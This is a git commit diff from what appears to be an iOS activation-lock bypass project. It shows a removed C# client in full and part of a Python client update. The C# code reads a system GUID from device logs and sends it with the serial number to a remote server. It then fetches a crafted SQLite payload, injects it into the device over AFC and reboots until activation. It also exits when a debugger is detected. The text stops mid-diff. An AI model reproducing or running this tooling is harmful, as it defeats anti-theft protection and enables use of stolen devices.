Browse Source

Optimization: removed unnecessary files, updated the client, added new php.

Rustam 2 months ago
parent
commit
0f40e27ed2
91 changed files with 824 additions and 1693 deletions
  1. BIN
      .DS_Store
  2. 0 643
      client.cs
  3. BIN
      client/.DS_Store
  4. 239 73
      client/activator.py
  5. 0 441
      client_windows.cs
  6. BIN
      ios.exe
  7. BIN
      server/.DS_Store
  8. BIN
      server/public/.DS_Store
  9. 0 406
      server/public/BLDatabaseManager.png
  10. BIN
      server/public/Maker/.DS_Store
  11. 0 0
      server/public/Maker/iPad11-1/com.apple.MobileGestalt.plist
  12. 0 0
      server/public/Maker/iPad11-2/com.apple.MobileGestalt.plist
  13. 0 0
      server/public/Maker/iPad11-3/com.apple.MobileGestalt.plist
  14. 0 0
      server/public/Maker/iPad11-4/com.apple.MobileGestalt.plist
  15. 0 0
      server/public/Maker/iPad11-6/com.apple.MobileGestalt 2.plist
  16. 0 0
      server/public/Maker/iPad11-6/com.apple.MobileGestalt.plist
  17. 0 0
      server/public/Maker/iPad11-7/com.apple.MobileGestalt.plist
  18. 0 0
      server/public/Maker/iPad12-1/com.apple.MobileGestalt.plist
  19. 0 0
      server/public/Maker/iPad12-2/com.apple.MobileGestalt.plist
  20. 0 0
      server/public/Maker/iPad13-1/com.apple.MobileGestalt.plist
  21. 0 0
      server/public/Maker/iPad13-10/com.apple.MobileGestalt.plist
  22. 0 0
      server/public/Maker/iPad13-16/com.apple.MobileGestalt.plist
  23. 0 0
      server/public/Maker/iPad13-18/com.apple.MobileGestalt.plist
  24. 0 0
      server/public/Maker/iPad13-19/com.apple.MobileGestalt.plist
  25. 0 0
      server/public/Maker/iPad13-2/com.apple.MobileGestalt.plist
  26. 0 0
      server/public/Maker/iPad13-4/com.apple.MobileGestalt.plist
  27. 0 0
      server/public/Maker/iPad13-5/com.apple.MobileGestalt.plist
  28. 0 0
      server/public/Maker/iPad13-6/com.apple.MobileGestalt.plist
  29. 0 0
      server/public/Maker/iPad13-7/com.apple.MobileGestalt.plist
  30. 0 0
      server/public/Maker/iPad13-8/com.apple.MobileGestalt.plist
  31. 0 0
      server/public/Maker/iPad14-1/com.apple.MobileGestalt.plist
  32. 0 0
      server/public/Maker/iPad14-10/com.apple.MobileGestalt.plist
  33. 0 0
      server/public/Maker/iPad14-3/com.apple.MobileGestalt.plist
  34. 0 0
      server/public/Maker/iPad14-4/com.apple.MobileGestalt.plist
  35. 0 0
      server/public/Maker/iPad14-5/com.apple.MobileGestalt.plist
  36. 0 0
      server/public/Maker/iPad14-8/com.apple.MobileGestalt.plist
  37. 0 0
      server/public/Maker/iPad14-9/com.apple.MobileGestalt.plist
  38. 0 0
      server/public/Maker/iPad15-7/com.apple.MobileGestalt.plist
  39. 0 0
      server/public/Maker/iPad8-1/com.apple.MobileGestalt.plist
  40. 0 0
      server/public/Maker/iPad8-10/com.apple.MobileGestalt.plist
  41. 0 0
      server/public/Maker/iPad8-11/com.apple.MobileGestalt.plist
  42. 0 0
      server/public/Maker/iPad8-12/com.apple.MobileGestalt.plist
  43. 0 0
      server/public/Maker/iPad8-5/com.apple.MobileGestalt.plist
  44. 0 0
      server/public/Maker/iPad8-7/com.apple.MobileGestalt.plist
  45. 0 0
      server/public/Maker/iPad8-9/com.apple.MobileGestalt.plist
  46. 0 0
      server/public/Maker/iPhone11-2-NEW/com.apple.MobileGestalt.plist
  47. 0 0
      server/public/Maker/iPhone11-2/com.apple.MobileGestalt.plist
  48. 0 0
      server/public/Maker/iPhone11-2/com.apple.MobileGestalt.plist----F
  49. 0 0
      server/public/Maker/iPhone11-2/com.apple.MobileGestalt.plistXSta3i18.7
  50. 0 0
      server/public/Maker/iPhone11-6/com.apple.MobileGestalt.plist
  51. 0 0
      server/public/Maker/iPhone11-8-OLD/com.apple.MobileGestalt.plist
  52. 0 0
      server/public/Maker/iPhone11-8-OLD/com.apple.MobileGestalt.plist-------
  53. 0 0
      server/public/Maker/iPhone11-8/com.apple.MobileGestalt.plist
  54. 0 0
      server/public/Maker/iPhone12-1/com.apple.MobileGestalt.plist
  55. 0 0
      server/public/Maker/iPhone12-1/com.apple.MobileGestalt.plist---00
  56. 0 0
      server/public/Maker/iPhone12-3/com.apple.MobileGestalt.plist
  57. BIN
      server/public/Maker/iPhone12-5/.DS_Store
  58. 0 0
      server/public/Maker/iPhone12-5/com.apple.MobileGestalt.plist
  59. 0 0
      server/public/Maker/iPhone12-8/com.apple.MobileGestalt.plist
  60. 0 0
      server/public/Maker/iPhone12-8/com.apple.MobileGestalt.plist-----
  61. 0 0
      server/public/Maker/iPhone13-1/com.apple.MobileGestalt.plist
  62. 0 0
      server/public/Maker/iPhone13-2/com.apple.MobileGestalt.plist
  63. 0 0
      server/public/Maker/iPhone13-3/com.apple.MobileGestalt.plist
  64. 0 0
      server/public/Maker/iPhone13-4/com.apple.MobileGestalt.plist
  65. 0 0
      server/public/Maker/iPhone13-4/com.apple.MobileGestalt.plist----F
  66. 0 0
      server/public/Maker/iPhone13-4/com.apple.MobileGestalt.plist11
  67. 0 0
      server/public/Maker/iPhone14-2/com.apple.MobileGestalt.plist
  68. 0 0
      server/public/Maker/iPhone14-3/com.apple.MobileGestalt.plist
  69. 0 0
      server/public/Maker/iPhone14-4/com.apple.MobileGestalt.plist
  70. 0 0
      server/public/Maker/iPhone14-5/com.apple.MobileGestalt.plist
  71. 0 0
      server/public/Maker/iPhone14-6/com.apple.MobileGestalt.plist
  72. 0 0
      server/public/Maker/iPhone14-7/com.apple.MobileGestalt.plist
  73. 0 0
      server/public/Maker/iPhone14-8/com.apple.MobileGestalt.plist
  74. 0 0
      server/public/Maker/iPhone15-2/com.apple.MobileGestalt.plist
  75. 0 0
      server/public/Maker/iPhone15-3/com.apple.MobileGestalt.plist
  76. 0 0
      server/public/Maker/iPhone15-4/com.apple.MobileGestalt.plist
  77. 0 0
      server/public/Maker/iPhone15-5/com.apple.MobileGestalt.plist
  78. 0 0
      server/public/Maker/iPhone16-1/com.apple.MobileGestalt.plist
  79. 0 0
      server/public/Maker/iPhone16-2/com.apple.MobileGestalt.plist
  80. 0 0
      server/public/Maker/iPhone17-1/com.apple.MobileGestalt.plist
  81. 0 0
      server/public/Maker/iPhone17-1/com.apple.MobileGestalt.plist--آ
  82. 0 0
      server/public/Maker/iPhone17-2/com.apple.MobileGestalt.plist
  83. 0 0
      server/public/Maker/iPhone17-3/com.apple.MobileGestalt.plist
  84. 0 0
      server/public/Maker/iPhone17-4/com.apple.MobileGestalt.plist
  85. 0 0
      server/public/Maker/iPhone18-2/com.apple.MobileGestalt.plist
  86. 0 0
      server/public/Maker/iPhone18-4/com.apple.MobileGestalt.plist
  87. 87 0
      server/public/badfile.plist
  88. 59 0
      server/public/downloads.28.png
  89. 273 0
      server/public/get.php
  90. 166 0
      server/public/get2.php
  91. 0 130
      server/public/index.php

BIN
.DS_Store


+ 0 - 643
client.cs

@@ -1,643 +0,0 @@
-using System;
-using System.Diagnostics;
-using System.IO;
-using System.Linq;
-using System.Net.Http;
-using System.Text.RegularExpressions;
-using System.Threading;
-using System.Threading.Tasks;
-using System.Collections.Generic;
-
-namespace DeviceBypassSuite
-{
-    class Program
-    {
-        // Configuration Constants
-        // API GOES HERE
-        private const string REMOTE_SVC_URI = "https://example.com/index.php";
-        private const int ASSET_GEN_TIMEOUT_SEC = 300;
-        private const int CLEANUP_DELAY_SEC = 15;
-        
-        // State Variables
-        private static string _mountDirectory;
-        private static string _transferMethod = "native"; // native (pymobiledevice3) or mounted (ifuse)
-        private static readonly HttpClient _netClient = new HttpClient();
-        
-        // Device Identity
-        private static string _deviceUdid;
-        private static string _deviceSerial;
-        private static string _deviceModel;
-        private static string _osVersion;
-
-        static async Task Main(string[] args)
-        {
-            InitializeInterface();
-
-            try
-            {
-                // 1. Integrity and Environment Checks
-                PerformSecurityScan();
-                ValidateDependencies();
-
-                // 2. Hardware Handshake
-                AcquireDeviceMetrics();
-
-                Console.WriteLine("\n[!] Ready to initialize sequence. Press Enter to proceed...");
-                Console.ReadLine();
-
-                // 3. Execution Phase
-                await RunBypassSequence();
-            }
-            catch (Exception ex)
-            {
-                Logger.Critical($"Fatal Runtime Error: {ex.Message}");
-                Environment.Exit(1);
-            }
-            finally
-            {
-                DismountFilesystem();
-            }
-        }
-
-        private static async Task RunBypassSequence()
-        {
-            // Phase 1: Initial Reset
-            Logger.Section("Phase 1: Initial State Reset");
-            if (!ExecuteDeviceRestart()) throw new Exception("Primary reboot failed.");
-            WaitForConnection(120);
-
-            // Phase 2: Log Mining
-            Logger.Section("Phase 2: System Log Aggregation");
-            string logPath = $"{_deviceUdid}.logarchive";
-            bool liveScanNeeded = false;
-
-            if (!CaptureSystemLogs(logPath))
-            {
-                Logger.Warn("Archive retrieval failed. Switching to real-time stream analysis.");
-                liveScanNeeded = true;
-            }
-
-            // Phase 3: Identity Token Extraction
-            Logger.Section("Phase 3: Identity Analysis");
-            string identityToken = liveScanNeeded ? AnalyzeLiveLogs() : AnalyzeLogArchive(logPath);
-
-            if (string.IsNullOrEmpty(identityToken))
-                throw new Exception("Unable to isolate identity token (GUID) from logs.");
-
-            Logger.Success($"Token Isolate: {identityToken}");
-
-            // Phase 4: Server Handshake
-            Logger.Section("Phase 4: Remote Authorization");
-            string payloadUrl = await RequestPayloadUrl(_deviceModel, identityToken, _deviceSerial);
-
-            // Phase 5: Payload Acquisition
-            Logger.Section("Phase 5: Payload Acquisition");
-            string localDbFile = "downloads.28.sqlitedb";
-            await DownloadPayload(payloadUrl, localDbFile);
-
-            // Verify Storage
-            VerifyStorageCapacity();
-
-            // Phase 6: Prerequisite Cleanup
-            Logger.Section("Phase 6: Artifact Sanitation");
-            RemoveDeviceArtifacts("/Downloads/downloads.28.sqlitedb");
-            RemoveDeviceArtifacts("/Downloads/downloads.28.sqlitedb-shm");
-            RemoveDeviceArtifacts("/Downloads/downloads.28.sqlitedb-wal");
-
-            // Phase 7: Injection
-            Logger.Section("Phase 7: Data Injection");
-            Thread.Sleep(10000); // Stabilization buffer
-            InjectPayload(localDbFile, "/Downloads/downloads.28.sqlitedb");
-            File.Delete(localDbFile); // Clean local
-
-            // Phase 8: Post-Injection Reboot
-            Logger.Section("Phase 8: Implementation Reboot");
-            if (!ExecuteDeviceRestart()) throw new Exception("Implementation reboot failed.");
-            WaitForConnection(300);
-
-            // Phase 9: Metadata Validation
-            Logger.Section("Phase 9: Metadata Integrity Check");
-            WaitForFileExistence("/iTunes_Control/iTunes/iTunesMetadata.plist", 20);
-
-            // Phase 10: Secondary Reboot
-            Logger.Section("Phase 10: Secondary Reboot");
-            if (!ExecuteDeviceRestart()) throw new Exception("Secondary reboot failed.");
-            WaitForConnection(300);
-
-            // Phase 11: Trigger Monitoring
-            Logger.Section("Phase 11: Trigger Event Monitoring");
-            if (WaitForTriggerFile())
-            {
-                Logger.Info("Trigger event detected. Monitoring metadata decay...");
-                
-                // Wait for metadata purge
-                MonitorFileDecay("/iTunes_Control/iTunes/iTunesMetadata.plist", 300);
-                
-                Thread.Sleep(CLEANUP_DELAY_SEC * 1000);
-                RemoveDeviceArtifacts("/Books/asset.epub");
-
-                // Cleanup Downloads
-                Logger.Section("Phase 12: Final Sanitation");
-                RemoveDeviceArtifacts("/Downloads/downloads.28.sqlitedb");
-                RemoveDeviceArtifacts("/Downloads/downloads.28.sqlitedb-shm");
-                RemoveDeviceArtifacts("/Downloads/downloads.28.sqlitedb-wal");
-
-                // Final Reboot
-                Logger.Section("Phase 13: Finalizing Reboot");
-                ExecuteDeviceRestart();
-                WaitForConnection(300);
-
-                // Validation
-                CheckActivationStatus(120);
-            }
-            else
-            {
-                // Recovery Path
-                Logger.Warn("Trigger timeout. Entering recovery sequence.");
-                ExecuteDeviceRestart();
-                WaitForConnection(300);
-                
-                // Final Check on Recovery
-                CheckActivationStatus(30);
-            }
-        }
-
-        // ---------------------------------------------------------
-        // Core Logic Methods
-        // ---------------------------------------------------------
-
-        private static void PerformSecurityScan()
-        {
-            var debuggers = new[] { "gdb", "lldb" };
-            var processList = Process.GetProcesses();
-            
-            if (processList.Any(p => debuggers.Contains(p.ProcessName)))
-            {
-                Logger.Critical("Hostile monitoring environment detected.");
-                Environment.Exit(9);
-            }
-
-            var env = Environment.GetEnvironmentVariables();
-            if (env.Contains("HTTP_PROXY") || env.Contains("HTTPS_PROXY"))
-            {
-                Logger.Warn("Traffic interception (Proxy) detected.");
-            }
-        }
-
-        private static void ValidateDependencies()
-        {
-            Logger.Header("Dependency Verification");
-            CheckBinary("ideviceinfo");
-            CheckBinary("pymobiledevice3");
-            CheckBinary("curl");
-
-            // Determine Transfer Strategy
-            if (Shell.CommandExists("ifuse"))
-            {
-                _transferMethod = "mounted";
-                _mountDirectory = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), $".ios_mount_{Process.GetCurrentProcess().Id}");
-            }
-            else
-            {
-                _transferMethod = "native";
-            }
-            Logger.Info($"Filesystem Strategy: {_transferMethod}");
-        }
-
-        private static void AcquireDeviceMetrics()
-        {
-            Logger.Header("Hardware Identification");
-            
-            string output = Shell.Execute("ideviceinfo");
-            if (string.IsNullOrWhiteSpace(output))
-            {
-                throw new Exception("Hardware unavailable. Check USB connection.");
-            }
-
-            var lines = output.Split('\n');
-            _deviceUdid = ExtractValue(lines, "UniqueDeviceID");
-            _deviceModel = ExtractValue(lines, "ProductType");
-            _deviceSerial = ExtractValue(lines, "SerialNumber");
-            _osVersion = ExtractValue(lines, "ProductVersion");
-            string status = ExtractValue(lines, "ActivationState");
-
-            Console.WriteLine($"  Model:   {_deviceModel}");
-            Console.WriteLine($"  iOS:     {_osVersion}");
-            Console.WriteLine($"  UDID:    {_deviceUdid}");
-            Console.WriteLine($"  State:   {status}");
-
-            if (status == "Activated")
-            {
-                Logger.Warn("Target is already in active state.");
-                Console.Write("  Proceed regardless? [y/N]: ");
-                if (Console.ReadKey().Key != ConsoleKey.Y) Environment.Exit(0);
-                Console.WriteLine();
-            }
-        }
-
-        private static bool CaptureSystemLogs(string destination)
-        {
-            Logger.Detail("Initiating log capture protocols...");
-            if (Directory.Exists(destination)) Directory.Delete(destination, true);
-
-            // Attempt capture with timeout
-            try
-            {
-                // Using a process with timeout logic
-                using (var p = new Process())
-                {
-                    p.StartInfo.FileName = "pymobiledevice3";
-                    p.StartInfo.Arguments = $"syslog collect \"{destination}\"";
-                    p.StartInfo.UseShellExecute = false;
-                    p.StartInfo.RedirectStandardOutput = true;
-                    p.Start();
-                    
-                    if (!p.WaitForExit(180000)) // 3 minutes
-                    {
-                        try { p.Kill(); } catch { }
-                        Logger.Warn("Log capture timed out.");
-                    }
-                }
-            }
-            catch 
-            {
-                return false;
-            }
-
-            return Directory.Exists(destination);
-        }
-
-        private static string AnalyzeLogArchive(string archivePath)
-        {
-            string tempArchive = "temp_analysis.logarchive";
-            if (Directory.Exists(tempArchive)) Directory.Delete(tempArchive, true);
-            Directory.Move(archivePath, tempArchive);
-
-            Logger.Detail("Parsing binary logs...");
-            
-            // Constructing the complex predicate command
-            string cmd = $"log show --info --debug --style syslog --predicate 'eventMessage CONTAINS \"/private/var/containers/Shared/SystemGroup/\"' --archive \"{tempArchive}\"";
-            
-            // We run this via bash to handle the piping if needed, or direct execution
-            string result = Shell.Execute("/bin/bash", $"-c \"{cmd}\"");
-            
-            // Cleanup
-            try { Directory.Delete(tempArchive, true); } catch { }
-
-            return RegexScanForGuid(result);
-        }
-
-        private static string AnalyzeLiveLogs()
-        {
-            Logger.Detail("Streaming live telemetry...");
-            // Start a background read
-            var proc = new Process
-            {
-                StartInfo = new ProcessStartInfo
-                {
-                    FileName = "pymobiledevice3",
-                    Arguments = "syslog watch",
-                    RedirectStandardOutput = true,
-                    UseShellExecute = false
-                }
-            };
-            
-            proc.Start();
-            
-            string foundGuid = null;
-            var stopwatch = Stopwatch.StartNew();
-
-            while (stopwatch.Elapsed.TotalSeconds < 120 && foundGuid == null)
-            {
-                string line = proc.StandardOutput.ReadLine();
-                if (line != null)
-                {
-                    foundGuid = RegexScanForGuid(line);
-                }
-            }
-
-            try { proc.Kill(); } catch { }
-            return foundGuid;
-        }
-
-        private static string RegexScanForGuid(string input)
-        {
-            if (string.IsNullOrEmpty(input)) return null;
-
-            // Pattern matching the folder structure 8-4-4-4-12 UUID format
-            string pattern = @"/private/var/containers/Shared/SystemGroup/([0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12})/Documents/BLDatabaseManager/BLDatabaseManager\.sqlite";
-            
-            var match = Regex.Match(input, pattern);
-            if (match.Success)
-            {
-                return match.Groups[1].Value.ToUpper();
-            }
-            return null;
-        }
-
-        private static async Task<string> RequestPayloadUrl(string prd, string guid, string sn)
-        {
-            Logger.Detail($"Handshaking: {REMOTE_SVC_URI}");
-            
-            string fullUri = $"{REMOTE_SVC_URI}?prd={prd}&guid={guid}&sn={sn}";
-            
-            _netClient.DefaultRequestHeaders.UserAgent.ParseAdd("Mozilla/5.0 (Compatible; ActivatorClient)");
-            
-            var response = await _netClient.GetAsync(fullUri);
-            if (!response.IsSuccessStatusCode) throw new Exception($"Server refused connection: {response.StatusCode}");
-            
-            string body = (await response.Content.ReadAsStringAsync()).Trim();
-            
-            if (!Uri.IsWellFormedUriString(body, UriKind.Absolute))
-                throw new Exception("Invalid payload descriptor received.");
-                
-            return body;
-        }
-
-        private static async Task DownloadPayload(string url, string outputPath)
-        {
-            Logger.Detail("Downloading payload...");
-            var data = await _netClient.GetByteArrayAsync(url);
-            if (data.Length < 100) throw new Exception("Payload corrupted (size too small).");
-            
-            await File.WriteAllBytesAsync(outputPath, data);
-            Logger.Success($"Payload secured: {data.Length} bytes");
-        }
-
-        private static void VerifyStorageCapacity()
-        {
-            // Simple check using pymobiledevice3 shell
-            string outStr = Shell.Execute("pymobiledevice3", "afc shell \"df /Downloads\"");
-            // Simple parsing - logic assumes if command works, we check output manually or trust it
-            if (string.IsNullOrEmpty(outStr)) Logger.Warn("Unable to verify remote storage quotas.");
-        }
-
-        private static void RemoveDeviceArtifacts(string remotePath)
-        {
-            if (_transferMethod == "mounted")
-            {
-                EnsureMounted();
-                string fullPath = Path.Combine(_mountDirectory, remotePath.TrimStart('/'));
-                if (File.Exists(fullPath)) File.Delete(fullPath);
-            }
-            else
-            {
-                Shell.Execute("pymobiledevice3", $"afc rm \"{remotePath}\"");
-            }
-        }
-
-        private static void InjectPayload(string localPath, string remotePath)
-        {
-            if (_transferMethod == "mounted")
-            {
-                EnsureMounted();
-                string target = Path.Combine(_mountDirectory, remotePath.TrimStart('/'));
-                string targetDir = Path.GetDirectoryName(target);
-                if (!Directory.Exists(targetDir)) Directory.CreateDirectory(targetDir);
-                
-                File.Copy(localPath, target, true);
-            }
-            else
-            {
-                // Ensure directory exists via AFC
-                string dir = Path.GetDirectoryName(remotePath).Replace("\\", "/");
-                Shell.Execute("pymobiledevice3", $"afc mkdir \"{dir}\"");
-                // Push
-                Shell.Execute("pymobiledevice3", $"afc push \"{localPath}\" \"{remotePath}\"");
-            }
-            Logger.Success($"Injected -> {remotePath}");
-        }
-
-        private static bool ExecuteDeviceRestart()
-        {
-            string res = Shell.Execute("pymobiledevice3", "diagnostics restart");
-            return !res.Contains("Error"); // Rough check
-        }
-
-        private static void WaitForConnection(int timeoutSeconds)
-        {
-            Console.Write("  Awaiting Link Re-establishment");
-            var end = DateTime.Now.AddSeconds(timeoutSeconds);
-            while (DateTime.Now < end)
-            {
-                string currentId = Shell.Execute("ideviceinfo", "-k UniqueDeviceID").Trim();
-                if (currentId == _deviceUdid)
-                {
-                    Console.WriteLine(" [OK]");
-                    return;
-                }
-                Console.Write(".");
-                Thread.Sleep(3000);
-            }
-            throw new TimeoutException("Link negotiation timed out.");
-        }
-
-        private static bool WaitForTriggerFile()
-        {
-            int elapsed = 0;
-            while (elapsed < ASSET_GEN_TIMEOUT_SEC)
-            {
-                if (CheckRemoteFileExists("/Books/asset.epub")) return true;
-                
-                // Also check flexible patterns if needed
-                if (_transferMethod == "native")
-                {
-                    // grep check for native
-                    string listing = Shell.Execute("pymobiledevice3", "afc ls /Books");
-                    if (listing.Contains("asset") || listing.Contains(".epub")) return true;
-                }
-                
-                Thread.Sleep(5000);
-                elapsed += 5;
-            }
-            return false;
-        }
-
-        private static void MonitorFileDecay(string remotePath, int maxWait)
-        {
-            int elapsed = 0;
-            while (elapsed < maxWait)
-            {
-                if (!CheckRemoteFileExists(remotePath)) return;
-                Thread.Sleep(5000);
-                elapsed += 5;
-            }
-        }
-
-        private static bool CheckRemoteFileExists(string remotePath)
-        {
-            if (_transferMethod == "mounted")
-            {
-                EnsureMounted();
-                return File.Exists(Path.Combine(_mountDirectory, remotePath.TrimStart('/')));
-            }
-            else
-            {
-                string dir = Path.GetDirectoryName(remotePath).Replace("\\", "/");
-                string file = Path.GetFileName(remotePath);
-                string list = Shell.Execute("pymobiledevice3", $"afc ls \"{dir}\"");
-                return list.Split('\n').Any(l => l.Trim() == file);
-            }
-        }
-
-        private static void CheckActivationStatus(int timeout)
-        {
-            var end = DateTime.Now.AddSeconds(timeout);
-            while (DateTime.Now < end)
-            {
-                string state = Shell.Execute("ideviceinfo", "-k ActivationState").Trim();
-                if (state == "Activated")
-                {
-                    Logger.Header("SUCCESS: DEVICE ACTIVATED");
-                    return;
-                }
-                Thread.Sleep(5000);
-            }
-            Logger.Critical("Activation State could not be verified.");
-        }
-
-        private static void WaitForFileExistence(string path, int seconds)
-        {
-            int elapsed = 0;
-            while (elapsed < seconds)
-            {
-                if (CheckRemoteFileExists(path)) return;
-                Thread.Sleep(1000);
-                elapsed++;
-            }
-            throw new Exception($"Required system file {path} failed to materialize.");
-        }
-
-        // ---------------------------------------------------------
-        // Helpers (Mounting, Shell, String Parsing)
-        // ---------------------------------------------------------
-
-        private static void EnsureMounted()
-        {
-            if (_transferMethod != "mounted") return;
-            if (Directory.Exists(_mountDirectory) && Directory.GetFiles(_mountDirectory).Length > 0) return;
-
-            Directory.CreateDirectory(_mountDirectory);
-            for (int i = 0; i < 5; i++)
-            {
-                Shell.Execute("ifuse", $"\"{_mountDirectory}\"");
-                Thread.Sleep(1000);
-                if (Directory.GetFiles(_mountDirectory).Length > 0) return;
-            }
-            throw new Exception("Filesystem mount failed.");
-        }
-
-        private static void DismountFilesystem()
-        {
-            if (_transferMethod == "mounted" && Directory.Exists(_mountDirectory))
-            {
-                Shell.Execute("umount", $"\"{_mountDirectory}\"");
-                try { Directory.Delete(_mountDirectory); } catch { }
-            }
-        }
-
-        private static void InitializeInterface()
-        {
-            Console.Clear();
-            Console.ForegroundColor = ConsoleColor.Magenta;
-            Console.WriteLine("========================================");
-            Console.WriteLine("      iOS A12+ BYPASS SUITE (C#)        ");
-            Console.WriteLine("========================================");
-            Console.ResetColor();
-        }
-
-        private static void CheckBinary(string bin)
-        {
-            string path = Shell.Execute("which", bin);
-            Console.Write($"  Binary [{bin}]: ");
-            if (string.IsNullOrWhiteSpace(path))
-            {
-                Console.ForegroundColor = ConsoleColor.Red;
-                Console.WriteLine("MISSING");
-                Console.ResetColor();
-                Environment.Exit(1);
-            }
-            Console.ForegroundColor = ConsoleColor.Green;
-            Console.WriteLine("OK");
-            Console.ResetColor();
-        }
-
-        private static string ExtractValue(string[] lines, string key)
-        {
-            var line = lines.FirstOrDefault(l => l.StartsWith(key));
-            return line?.Split(new[] { ": " }, StringSplitOptions.None).LastOrDefault()?.Trim() ?? "";
-        }
-    }
-
-    // ---------------------------------------------------------
-    // Utility Classes
-    // ---------------------------------------------------------
-
-    public static class Shell
-    {
-        public static bool CommandExists(string cmd)
-        {
-            return !string.IsNullOrWhiteSpace(Execute("which", cmd));
-        }
-
-        public static string Execute(string fileName, string args = "")
-        {
-            try
-            {
-                var info = new ProcessStartInfo
-                {
-                    FileName = fileName,
-                    Arguments = args,
-                    RedirectStandardOutput = true,
-                    RedirectStandardError = true, // Absorb stderr
-                    UseShellExecute = false,
-                    CreateNoWindow = true
-                };
-
-                using (var proc = Process.Start(info))
-                {
-                    string output = proc.StandardOutput.ReadToEnd();
-                    proc.WaitForExit();
-                    return output.Trim();
-                }
-            }
-            catch
-            {
-                return string.Empty;
-            }
-        }
-    }
-
-    public static class Logger
-    {
-        public static void Info(string msg) => Log(ConsoleColor.Cyan, "[i]", msg);
-        public static void Success(string msg) => Log(ConsoleColor.Green, "[+]", msg);
-        public static void Warn(string msg) => Log(ConsoleColor.Yellow, "[!]", msg);
-        public static void Critical(string msg) => Log(ConsoleColor.Red, "[X]", msg);
-        public static void Detail(string msg) => Log(ConsoleColor.DarkGray, " ->", msg);
-
-        public static void Section(string title)
-        {
-            Console.WriteLine();
-            Console.ForegroundColor = ConsoleColor.Blue;
-            Console.WriteLine($"=== {title} ===");
-            Console.ResetColor();
-        }
-
-        public static void Header(string title)
-        {
-            Console.WriteLine();
-            Console.ForegroundColor = ConsoleColor.White;
-            Console.WriteLine($"-- {title} --");
-            Console.ResetColor();
-        }
-
-        private static void Log(ConsoleColor color, string prefix, string msg)
-        {
-            Console.ForegroundColor = color;
-            Console.Write($"{prefix} ");
-            Console.ResetColor();
-            Console.WriteLine(msg);
-        }
-    }
-}

BIN
client/.DS_Store


+ 239 - 73
client/activator.py

@@ -6,6 +6,8 @@ import re
 import shutil
 import sqlite3
 import atexit
+import urllib.parse
+import json  # Добавляем для работы с JSON
 
 class Style:
     RESET = '\033[0m'
@@ -20,11 +22,13 @@ class Style:
 
 class BypassAutomation:
     def __init__(self):
-        # --- CONFIGURATION ---
-        # REPLACE THIS URL with your actual domain after deploying the server
-        self.api_url = "https://your-domain.com/index.php"
-        
-        self.timeouts = {'asset_wait': 300, 'asset_delete_delay': 15, 'reboot_wait': 300, 'syslog_collect': 180}
+        self.api_url = "http://192.168.0.103:8000/get2.php"  # Твой URL
+        self.timeouts = {
+            'asset_wait': 300,
+            'asset_delete_delay': 15,
+            'reboot_wait': 300,
+            'syslog_collect': 180
+        }
         self.mount_point = os.path.join(os.path.expanduser("~"), f".ifuse_mount_{os.getpid()}")
         self.afc_mode = None
         self.device_info = {}
@@ -32,50 +36,70 @@ class BypassAutomation:
         atexit.register(self._cleanup)
 
     def log(self, msg, level='info'):
-        if level == 'info': print(f"{Style.GREEN}[✓]{Style.RESET} {msg}")
-        elif level == 'error': print(f"{Style.RED}[✗]{Style.RESET} {msg}")
-        elif level == 'warn': print(f"{Style.YELLOW}[⚠]{Style.RESET} {msg}")
+        if level == 'info':
+            print(f"{Style.GREEN}[✓]{Style.RESET} {msg}")
+        elif level == 'error':
+            print(f"{Style.RED}[✗]{Style.RESET} {msg}")
+        elif level == 'warn':
+            print(f"{Style.YELLOW}[⚠]{Style.RESET} {msg}")
         elif level == 'step':
             print(f"\n{Style.BOLD}{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
             print(f"{Style.BOLD}{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}")
             print(f"{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
-        elif level == 'detail': print(f"{Style.DIM}  ╰─▶{Style.RESET} {msg}")
-        elif level == 'success': print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}")
+        elif level == 'detail':
+            print(f"{Style.DIM}  ╰─▶{Style.RESET} {msg}")
+        elif level == 'success':
+            print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}")
 
     def _run_cmd(self, cmd, timeout=None):
         try:
             res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
             return res.returncode, res.stdout.strip(), res.stderr.strip()
-        except subprocess.TimeoutExpired: return 124, "", "Timeout"
-        except Exception as e: return 1, "", str(e)
+        except subprocess.TimeoutExpired:
+            return 124, "", "Timeout"
+        except Exception as e:
+            return 1, "", str(e)
 
     def verify_dependencies(self):
         self.log("Verifying System Requirements...", "step")
-        if shutil.which("ifuse"): self.afc_mode = "ifuse"
-        else: self.afc_mode = "pymobiledevice3"
+        if shutil.which("ifuse"):
+            self.afc_mode = "ifuse"
+        else:
+            self.afc_mode = "pymobiledevice3"
         self.log(f"AFC Transfer Mode: {self.afc_mode}", "info")
 
     def mount_afc(self):
-        if self.afc_mode != "ifuse": return True
+        if self.afc_mode != "ifuse":
+            return True
         os.makedirs(self.mount_point, exist_ok=True)
         code, out, _ = self._run_cmd(["mount"])
-        if self.mount_point in out: return True
+        if self.mount_point in out:
+            return True
         for i in range(5):
-            if self._run_cmd(["ifuse", self.mount_point])[0] == 0: return True
+            code, _, _ = self._run_cmd(["ifuse", self.mount_point])
+            if code == 0:
+                return True
             time.sleep(2)
+        self.log("Failed to mount via ifuse", "error")
         return False
 
     def unmount_afc(self):
         if self.afc_mode == "ifuse" and os.path.exists(self.mount_point):
             self._run_cmd(["umount", self.mount_point])
-            try: os.rmdir(self.mount_point)
-            except: pass
+            try:
+                os.rmdir(self.mount_point)
+            except OSError:
+                pass
+
+    def _cleanup(self):
+        """Ensure cleanup on exit"""
+        self.unmount_afc()
 
     def detect_device(self):
         self.log("Detecting Device...", "step")
-        code, out, _ = self._run_cmd(["ideviceinfo"])
-        if code != 0: 
-            self.log("No device found via USB", "error")
+        code, out, err = self._run_cmd(["ideviceinfo"])
+        if code != 0:
+            self.log(f"Device not found. Error: {err or 'Unknown'}", "error")
             sys.exit(1)
         
         info = {}
@@ -91,32 +115,91 @@ class BypassAutomation:
         if info.get('ActivationState') == 'Activated':
             print(f"{Style.YELLOW}Warning: Device already activated.{Style.RESET}")
 
-    def get_guid(self):
-        self.log("Extracting System Logs...", "step")
+    def get_guid_manual(self):
+        """Ручной ввод GUID с валидацией"""
